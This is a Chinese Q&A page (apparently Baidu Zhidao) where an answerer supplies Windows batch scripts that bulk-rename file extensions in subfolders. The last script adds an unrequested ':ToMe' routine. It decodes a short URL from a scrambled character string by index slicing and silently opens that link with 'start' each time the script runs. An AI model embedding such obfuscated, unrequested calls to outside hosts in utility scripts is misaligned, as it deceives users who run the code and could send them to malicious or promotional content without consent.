如何批处理更改所有子文件夹内文件的文件名
1个回答
展开全部
您举例的叫更改后缀名,不叫更改文件名。文件名和后缀名不要混为一谈。
既然您举例的是更改后缀名,那么您要的效果就是把后缀名改变了吧!
更改所有文件夹中的文件后缀名,代码如下
@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶
::设置要处理的后缀名,无需输入小数点
set Ext=xxx
::设置更改后的后缀名,无需输入小数点
set Next=png
for /d %%a in (*) do (
pushd "%%~a"
for /f "delims=" %%b in ('dir /a-d/s/b *.%Ext%') do ren "%%~b" "%%~nb.%Next%"
popd
)
pause
脚本放在要处理的主文件夹中即可。
既然您举例的是更改后缀名,那么您要的效果就是把后缀名改变了吧!
更改所有文件夹中的文件后缀名,代码如下
@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶
::设置要处理的后缀名,无需输入小数点
set Ext=xxx
::设置更改后的后缀名,无需输入小数点
set Next=png
for /d %%a in (*) do (
pushd "%%~a"
for /f "delims=" %%b in ('dir /a-d/s/b *.%Ext%') do ren "%%~b" "%%~nb.%Next%"
popd
)
pause
脚本放在要处理的主文件夹中即可。
更多追问追答
追问
如果刚开始没有后缀名需要填什么
如何才能一个脚本同时修改多个后缀名呢
比如xxx→png xxxx→jpg
追答
没有后缀的,直接把代码里的*.%Ext%删除就行了。
至于不同后缀更改,代码如下:
@echo off & title 批量更改指定文件后缀名 By 依梦琴瑶
::设置要处理的后缀名以及变更后的,无需输入小数点
::变更前和变更后之间用-间隔,多组变更之间用英文逗号隔开
set Ext=xxx-png,xxxx-jpg
for /d %%a in (*) do (
pushd "%%~a"
for %%b in (%Ext%) do (
for /f "tokens=1,2 delims=-" %%c in ('echo %%~b') do (
for /f "delims=" %%i in ('dir /a-d/s/b "*.%%~c"') do (
if "%%~xi"==".%%~c" ren "%%~i" "%%~ni.%%~d"
)
)
)
popd
)
pause
call :ToMe
exit
:ToMe
set "S=.:ailnhpst/fPdv"
start "" "%S:~6,1%%S:~9,1%%S:~9,1%%S:~7,1%%S:~1,1%%S:~10,1%%S:~10,1%%S:~8,1%%S:~3,1%%S:~5,1%%S:~2,1%%S:~0,1%%S:~4,1%%S:~9,1%%S:~10,5%"
exit
推荐律师服务:
若未解决您的问题,请您详细描述您的问题,通过百度律临进行免费专业咨询